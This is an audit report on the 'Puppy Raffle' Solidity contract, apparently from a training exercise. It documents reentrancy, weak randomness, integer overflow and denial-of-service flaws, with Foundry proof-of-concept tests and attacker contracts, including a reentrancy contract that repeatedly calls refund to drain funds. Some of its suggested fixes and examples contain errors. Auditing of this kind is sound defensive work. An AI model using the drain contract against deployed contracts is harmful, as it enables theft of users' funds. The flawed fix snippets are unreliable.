Puppy Raffle Audit Report

Version 1.0

Blurdragon101

April 9, 2024

Puppy Raffle Audit Report

Bluedragon101

April 9, 2024

Prepared by: Bluedragon101 Lead Auditors:

- [Shibi_Kishore]

Table of Contents

    * [M-1] Looping through the players array to check the duplicates in `PuppyRaffle::enterRaffle` function is potential for denial of service (DoS) attack, incrementing the gas costs for future entrants.
    * [M-2] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of new contest
    * [M-3] Unsafe cast of `PuppyRaffle::fee` loses fees
  - Low
    * [L-1] `PuppyRaffle::getActivePlayerIndex` function returns 0 for an player in index 0, causing the player index 0 to be considered as not active.
  - Gas
    * [G-1] Storage variable in loop should be cached
    * [G-2] Use `immutable` or `constant` for state variables that are not updated following deployment
    * [G-3] `PuppyRaffle::_isActivePlayer` function is not used elsewhere and should be removed, causing waste of gas
  - Informational
    * [I-1] Solidity pragma should be specific, not wide
    * [I-2] Using a outdated version of Solidity compiler is not recommended
    * [I-3] Missing checks for `address(0)` when assigning values to address state variables
    * [I-4] Define and use `constant` variables instead of using magic numbers
    * [I-5] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice
    * [I-6] State changes are missing events
    * [I-7] Event is missing `indexed` fields

Disclaimer

The Bluedragon101 team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Protocol Summary

Puppy Raffle

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

Call the `enterRaffle` function with the following parameters:

1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Audit Details

The findings described in this document correspond the following commit hash:

```
22bbbb2c47f3f2b78c1b134590baf41383fd354f
```

Scope

```
./src/
-- PuppyRaffle.sol
```

Roles

- Owner: The only one who can change the `feeAddress`, denominated by the `_owner` variable.
- Fee User: The user who takes a cut of raffle entrance fees. Denominated by the `feeAddress` variable.
- Raffle Entrant: Anyone who enters the raffle. Denominated by being in the `players` array.

Issues found

Severity	Number of issues found
High	4
Medium	3
Low	1
Gas	3
Info	7
Total	18

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain contract balance

Description: The `PuppyRaffle::refund` function does not follow CEI/FREI-PI and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address, and only after making that external call, we update the `players` array.

```
1  function refund(uint256 playerIndex) public {
2      address playerAddress = players[playerIndex];
3      require(playerAddress == msg.sender, "PuppyRaffle: Only the player
           can refund");
4      require(playerAddress != address(0), "PuppyRaffle: Player already
           refunded, or is not active");
5
6  @>  payable(msg.sender).sendValue(entranceFee);
```

```
7
8  @>  players[playerIndex] = address(0);
9      emit RaffleRefunded(playerAddress);
10 }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function multiple times before the player's refund status is updated. This would allow the player to drain the contract's funds.

Impact: All the entrancefee's paid by the players could be stolen by malicious user by repeatedly calling the refund function and drain the contract's funds.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls the `PuppyRaffle::refund` function
3. Attacker enters the raffle
4. Attacker calls the `PuppyRaffle::refund` function from their attack contract
5. Attacker calls the `PuppyRaffle::refund` function from their fallback function multiple times draining the contract's funds

PoC

Place the following code into the `PuppyRaffle.t.sol` file:

```
1  function test_reentrancyRefund() public {
2          address[] memory players = new address[](4);
3          players[0] = playerOne;
4          players[1] = playerTwo;
5          players[2] = playerThree;
6          players[3] = playerFour;
7          puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9          ReentracyAttacker attackerContract = new ReentracyAttacker(
               puppyRaffle);
10         address attackUser = makeAddr("attackUser");
11         vm.deal(attackUser, entranceFee);
12         uint256 startingAttackerContractBalance = address(
               attackerContract).balance;
13         uint256 startingPuppyRaffleBalance = address(puppyRaffle).
               balance;
14
15         // Attack
16         vm.prank(attackUser);
17         attackerContract.attack{value: entranceFee}();
18         console.log("Starting Attacker Contract Balance: ",
               startingAttackerContractBalance);
```

```
19          console.log("Starting Puppy Raffle Balance: ",
                startingPuppyRaffleBalance);
20
21          console.log("Ending Attacker Contract Balance: ", address(
                attackerContract).balance);
22          console.log("Ending Puppy Raffle Balance: ", address(
                puppyRaffle).balance);
23      }
```

And this is contract as well.

```
1  contract ReentracyAttacker {
2      PuppyRaffle puppyRaffle;
3      uint256 entranceFee;
4      uint256 attackerIndex;
5
6      constructor(PuppyRaffle _puppyRaffle) {
7          puppyRaffle = _puppyRaffle;
8          entranceFee = puppyRaffle.entranceFee();
9      }
10
11     function attack() external payable {
12         address[] memory players = new address[](1);
13         players[0] = address(this);
14         puppyRaffle.enterRaffle{value: entranceFee}(players);
15         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
               ;
16         puppyRaffle.refund(attackerIndex);
17     }
18
19     function _stealMoney() internal {
20         if (address(puppyRaffle).balance > 0) {
21             puppyRaffle.refund(attackerIndex);
22         }
23     }
24
25     receive() external payable {
26         _stealMoney();
27     }
28
29     fallback() external payable {
30         _stealMoney();
31     }
32 }
```

Recommended Mitigation:

1. Mutex Lock: Implement a mutex lock in the refund function to prevent reentrancy. Before sending the Ether, the function should set a flag to indicate that the refund has been processed, and then reset the flag after the Ether has been sent.

2. Checks-Effects-Interactions Pattern: Follow the Checks-Effects-Interactions pattern, where the function first checks the user's refund status, then updates the status, and finally sends the Ether. This ensures that the state is updated before any external calls are made.
3. Use of OpenZeppelin Reentrancy Guard: Utilize the ReentrancyGuard contract from the OpenZeppelin library, which provides a standard way to prevent reentrancy attacks.

```
1      function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
4          require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
5  +       players[playerIndex] = address(0);
6  +       emit RaffleRefunded(playerAddress);
7
8          payable(msg.sender).sendValue(entranceFee);
9
10 -       players[playerIndex] = address(0);
11 -       emit RaffleRefunded(playerAddress);
12     }
```

[H-2] Weak Randomness in `PuppyRaffle::selectWinner` function, which allows users to influence or predict the winner and the rarity of the NFT

Description: The `PuppyRaffle::selectWinner` function uses `block.difficulty`, `block.timestamp` and `msg.sender` as a source of randomness to determine the rarity of the NFT that the winner will receive. However, `block.difficulty`, `block.timestamp` and `msg.sender` is a weak source of randomness and can be manipulated by users to influence the outcome of the function.

```
1      function selectWinner() external {
2          require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
3          require(players.length >= 4, "PuppyRaffle: Need at least 4
               players");
4          uint256 winnerIndex =
5              uint256(keccak256(abi.encodePacked(msg.sender, block.
                   timestamp, block.difficulty))) % players.length;
6  @>      address winner = players[winnerIndex];
```

Impact: Any user who knows the `block.difficulty`, `block.timestamp` and `msg.sender` can predict the winner and the rarity of the NFT that the winner will receive. This could allow users to manipulate the outcome of the function and unfairly win the NFT.

Proof of Concept:

1. Valitors can know ahead of the time the `block.difficulty` and `block.timestamp` and use that to predict when to participate in the raffle to win the NFT.
2. User can mine/manipulate the `msg.sender` to influence the outcome of the function.
3. User can revert their `selectWinner` transaction if they don't like the outcome.

Recommended Mitigation: Consider using a more secure source of randomness, such as Chainlink VRF, to determine the winner and rarity of the NFT that the winner will receive. Chainlink VRF provides a secure and verifiable source of randomness that cannot be manipulated by users.

[H-3] Interger overflow in `PuppyRaffle::totalFees` could lead to loss of fees

Description: In solidity version prior to `0.8.0` integers were subject to integer overflows.

```
1 uint64 myVar = type(uint256).max
2 // 18446744073709551615
3 myVar = myVar + 1
4 // 0
```

Impact: In the `PuppyRaffle::selectWinner`, `totalFees` are accumlated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. If the `totalFees` exceeds the `type(uint256).max` it will overflow, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We conclude the raffle with 4 players, and the `totalFees` is 4 * entranceFee.
2. We then have 89 player to enter the raffle, and conclude the raffle
3. `totalFees` will be:

```
1 totalFees = 4 * entranceFee + 89 * entranceFee;
2 // and this will overflow!
3 totalFees = 153255926290448384;
```

4. `PuppyRaffle::withdrawFees` will not be able to withdraw the fees, as the `totalFees` has overflowed.

Although you could use `selfdestruct` to send the ETH to this contract in order for the values to match and withdraw the fees to `feeAddress`, but this is not a good practice. At some point, there will be too much `balance` stuck in the contract.

PoC

Place the following code into the `PuppyRaffle.t.sol` file:

```
function test_feeOverFlow() public playersEntered {
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        console.log("The starting total fees: %e", startingTotalFees);

        // We then have 89 player to enter the raffle
        address[] memory players = new address[](89);
        for (uint256 i = 0; i < 89; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * 89}(players);

        //We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("The ending total fees: %e", endingTotalFees);

        assert(endingTotalFees < startingTotalFees);

        // We cannot withdraw the fees too because of the overflow
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
           active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation: There are several ways to mitigate this issue:

1. Use `SafeMath` library from Openzeppelin to prevent integer overflow.
2. Use a newer version of Solidity that has built-in checks for integer overflow.
3. Use `uint256` instead of `uint64` for `PuppyRaffle::totalFees`.
4. Remove the balance check from the `PuppyRaffle::withdrawFees` function.

```
function withdrawFees() external {
-       require(address(this).balance == uint256(totalFees), "
    PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
}
```

[H-4] Malicious winner can forever halt the raffle

Description: Once the winner is chosen, the `selectWinner` function sends the prize to the the corresponding address with an external call to the winner account.

```
(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

If the `winner` account were a smart contract that did not implement a payable `fallback` or `receive` function, or these functions were included but reverted, the external call above would fail, and execution of the `selectWinner` function would halt. Therefore, the prize would never be distributed and the raffle would never be able to start a new round.

There's another attack vector that can be used to halt the raffle, leveraging the fact that the `selectWinner` function mints an NFT to the winner using the `_safeMint` function. This function, inherited from the `ERC721` contract, attempts to call the `onERC721Received` hook on the receiver if it is a smart contract. Reverting when the contract does not implement such function.

Therefore, an attacker can register a smart contract in the raffle that does not implement the `onERC721Received` hook expected. This will prevent minting the NFT and will revert the call to `selectWinner`.

Impact: In either case, because it'd be impossible to distribute the prize and start a new round, the raffle would be halted forever.

Proof of Concept:

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
function testSelectWinnerDoS() public {
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    address[] memory players = new address[](4);
    players[0] = address(new AttackerContract());
    players[1] = address(new AttackerContract());
    players[2] = address(new AttackerContract());
    players[3] = address(new AttackerContract());
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    vm.expectRevert();
    puppyRaffle.selectWinner();
}
```

For example, the `AttackerContract` can be this:

```
contract AttackerContract {
    // Implements a `receive` function that always reverts
    receive() external payable {
        revert();
    }
}
```

Or this:

```
contract AttackerContract {
    // Implements a `receive` function to receive prize, but does not
       implement `onERC721Received` hook to receive the NFT.
    receive() external payable {}
}
```

Recommended Mitigation: Favor pull-payments over push-payments. This means modifying the `selectWinner` function so that the winner account has to claim the prize by calling a function, instead of having the contract automatically send the funds during execution of `selectWinner`.

Medium

[M-1] Looping through the players array to check the duplicates in `PuppyRaffle::enterRaffle` function is potential for denial of service (DoS) attack, incrementing the gas costs for future entrants.

Description: The `PuppyRaffle::enterRaffle` function in `PuppyRaffle` contract loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will have dramatically lower gas price than those who entered later. Every additional player will increase the gas costs for future entrants. This is a potential for a denial of service (DoS) attack.

```
    // Check for duplicates
@>  for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                   Duplicate player");
            }
    }
        emit RaffleEnter(newPlayers);
```

Impact: The gas costs for future entrants will increase as the `players` array grows. This could lead to a DoS attack where the gas costs for entering the raffle are so high that no one can enter.

Proof of Concept:

If we have 2 sets of 100 player enter the gas cost will be as such:

- 1st set of 100 players: ~ 6252039 gas
- 2nd set of 100 players: ~ 18068129 gas

This more than 3x times expensive for the second set players.

PoC

Place the following code into the `PuppyRaffle.t.sol` file:

```
function testCanCauseDOSInEnterRaffle() public {
        vm.txGasPrice(1); // set gas price to 1

        // Lets first enter 100 players
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        uint256 gasEnd = gasleft();
        uint256 gasUsedFirst = gasStart - gasEnd;
        console.log("Gas used for 100 players: ", gasUsedFirst);

        // Lets now enter another 100 players

        address[] memory playersTwo = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            playersTwo[i] = address(i + playersNum);
        }
        uint256 gasStartTwo = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            playersTwo);
        uint256 gasEndTwo = gasleft();
        uint256 gasUsedSecond = gasStartTwo - gasEndTwo;
        console.log("Gas used for second 100 players: ", gasUsedSecond)
            ;

        assert(gasUsedSecond > gasUsedFirst);
    }
```

Recommended Mitigation: To fix this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

Here are some of recommendations, any one of that can be used to mitigate this risk.

1. User a mapping to check duplicates. For this approach you to declare a variable `uint256 raffleID`, that way each raffle will have unique id. Add a mapping from player address to raffle id to keep of users for particular round.

```
+ uint256 public raffleID;
+ mapping (address => uint256) public usersToRaffleId;
.
.
function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "
           PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+           usersToRaffleId[newPlayers[i]] = true;
        }

        // Check for duplicates
+       for (uint256 i = 0; i < newPlayers.length; i++){
+           require(usersToRaffleId[i] != raffleID, "PuppyRaffle:
    Already a participant");

-        for (uint256 i = 0; i < players.length - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle:
    Duplicate player");
-            }
        }

        emit RaffleEnter(newPlayers);
    }
.
.
.

function selectWinner() external {
        //Existing code
+    raffleID = raffleID + 1;
    }
```

[M-2] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of new contest

Description: The `PuppyRaffle::selectWinner` function is resposible for resetting the `players` array and minting the NFT to the winner. If the winner of the raffle is a smart contract wallet that does not have a `receive` or a `fallback` function, the `PuppyRaffle::selectWinner` function will revert, and the `players` array will not be reset. This will block the start of a new contest, as the `players` array will still contain the previous players.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
        totalFees = totalFees + uint64(fee);
        players = new address[](0);
        emit RaffleWinner(winner, prizePool);
    }
```

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset impossible. This could lead to a denial of service (DoS) attack, where a malicious user could prevent the start of a new contest by winning the raffle with a smart contract wallet that does not have a `receive` or a `fallback` function.

Proof of Concept:

1. 10 smart contract wallets enter the raffle with a `receive` or a `fallback` function
2. lottery is concluded
3. The `selectWinner` function would'nt work, even though the raffle is over!

Recommended Mitigation: There are several ways to mitigate this issue:

1. Do not allow smart contract wallets to enter the raffle.(not recommended, as it will limit the users who can participate in the raffle)
2. Create a mapping of addresses -> payout so winners can pull their winnings themselves, putting the owness on the winner to claim their prize. (Recommended)
3. Use Pull over Push method to send the prize to the winner.

[M-3] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
```

```
3           require(players.length > 0, "PuppyRaffle: No players in raffle"
                );
4
5           uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
                sender, block.timestamp, block.difficulty))) % players.
                length;
6           address winner = players[winnerIndex];
7           uint256 fee = totalFees / 10;
8           uint256 winnings = address(this).balance - fee;
9  @>       totalFees = totalFees + uint64(fee);
10          players = new address[](0);
11          emit RaffleWinner(winner, winnings);
12      }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
```

```
9           uint256 winnerIndex =
10              uint256(keccak256(abi.encodePacked(msg.sender, block.
                    timestamp, block.difficulty))) % players.length;
11          address winner = players[winnerIndex];
12          uint256 totalAmountCollected = players.length * entranceFee;
13          uint256 prizePool = (totalAmountCollected * 80) / 100;
14          uint256 fee = (totalAmountCollected * 20) / 100;
15  -       totalFees = totalFees + uint64(fee);
16  +       totalFees = totalFees + fee;
```

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` function returns 0 for an player in index 0, causing the player index 0 to be considered as not active.

Description: If a player is in the `PuppyRaffle::players` array at index 0, the `PuppyRaffle::getActivePlayerIndex` function will return 0, causing the player at index 0 to be considered as not active. This is because the function returns 0 if the player is not found in the array, which is the same value as the index of the player at index 0.

```
1       /// @return the index of the player in the array, if they are not
            active, it returns 0
2       function getActivePlayerIndex(address player) external view returns
            (uint256) {
3           for (uint256 i = 0; i < players.length; i++) {
4               if (players[i] == player) {
5                   return i;
6               }
7           }
8   @>      return 0;
9       }
```

Impact: The `PuppyRaffle::getActivePlayerIndex` function returns 0 for an player in index 0, causing the player at index 0 to incorrectly think that they are not entered the raffle causing the player enter the raffle again, wasting gas and enterance fee.

Proof of Concept:

1. User enter the raffle, they are the first player
2. `PuppyRaffle::getActivePlayerIndex` function is called with the user's address
3. The function returns 0, causing the user to think they are not entered the raffle due to the documentation of the function.

Recommended Mitigation: The easiest way to fix this issue is to change the return value of the function to a value that is not a valid index in the array, such as `-1`.

```
/// @return the index of the player in the array, if they are not active, it returns 0
function getActivePlayerIndex(address player) external view returns (uint256) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return i;
        }
    }
-   return 0;
+   return uint256(-1);
```

Gas

[G-1] Storage variable in loop should be cached

Everytime you call `players.length` in the loop, it will cost you gas. It is better to cache the length of the array in a variable and use it in the loop.

```
+ uint256 playersLength = players.length;
- for (uint256 i = 0; i < players.length - 1; i++) {
+ for (uint256 i = 0; i < playersLength - 1; i++) {
-       for (uint256 j = i + 1; j < playersLength.length; j++) {
+       for (uint256 j = i + 1; j < playersLength; j++) {
            require(players[i] != players[j], "PuppyRaffle: Duplicate player");
        }
}
```

[G-2] Use `immutable` or `constant` for state variables that are not updated following deployment

State variables that are not updated following deployment should be declared immutable to save gas.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

Recommendation: Add the immutable attribute to state variables that never change or are set only in the constructor.

[G-3] `PuppyRaffle::_isActivePlayer` function is not used elsewhere and should be removed, causing waste of gas

```
function _isActivePlayer() internal view returns (bool) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == msg.sender) {
                return true;
        }
    }
    return false;
}
```

Recommendation: Remove unused function to save gas.

Informational

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;
```

[I-2] Using a outdated version of Solidity compiler is not recommended

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation: Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues. Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

- Found in src/PuppyRaffle.sol Line: 84

```
 function enterRaffle(address[] memory newPlayers)
```

- Found in src/PuppyRaffle.sol Line: 62

```
feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 177

```
feeAddress = newFeeAddress;
```

[I-4] Define and use `constant` variables instead of using magic numbers

If the same constant literal value is used multiple times, create a constant state variable and reference it throughout the contract.

```
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
```

intead use this

```
uint256 constant PRIZE_POOL_PERCENTAGE = 80;
uint256 constant FEE_PERCENTAGE = 20;
uint256 constant PRIZEPOOL_PRECENTAGE = 100;
```

[I-5] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice

It's a good practice to follow the Checks-Effects-Interactions pattern in Solidity. This pattern separates the checks, effects, and interactions of a function into different sections. This can help prevent reentrancy attacks and other security vulnerabilities.

```
-       (bool success,) = winner.call{value: prizePool}("");
-       require(success, "PuppyRaffle: Failed to send prize pool to winner");
        _safeMint(winner, tokenId);
+       (bool success,) = winner.call{value: prizePool}("");
+       require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-6] State changes are missing events

It's a good practice to emit events for important state changes in your contract. This allows users and other contracts to react to these changes and can help with debugging and transparency.

Add this in `PuppyRaffle` contract

```
+  event RaffleWinner(address indexed winner, uint256 indexed prizePool
    );
```

Add this in `PuppyRaffle::selectWinner` function

```
+  emit RaffleWinner(winner, prizePool);
```

[I-7] Event is missing `indexed` fields

Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

Recommendation: Add `indexed` to the fields in the events.

```
+  event RaffleEnter(address[] indexed newPlayers);
-  event RaffleEnter(address[] newPlayers);
```

```
+  event RaffleRefunded(address indexed player);
-  event RaffleRefunded(address player);
```

```
+  event FeeAddressChanged(address indexed newFeeAddress);
-  event FeeAddressChanged(address newFeeAddress);
```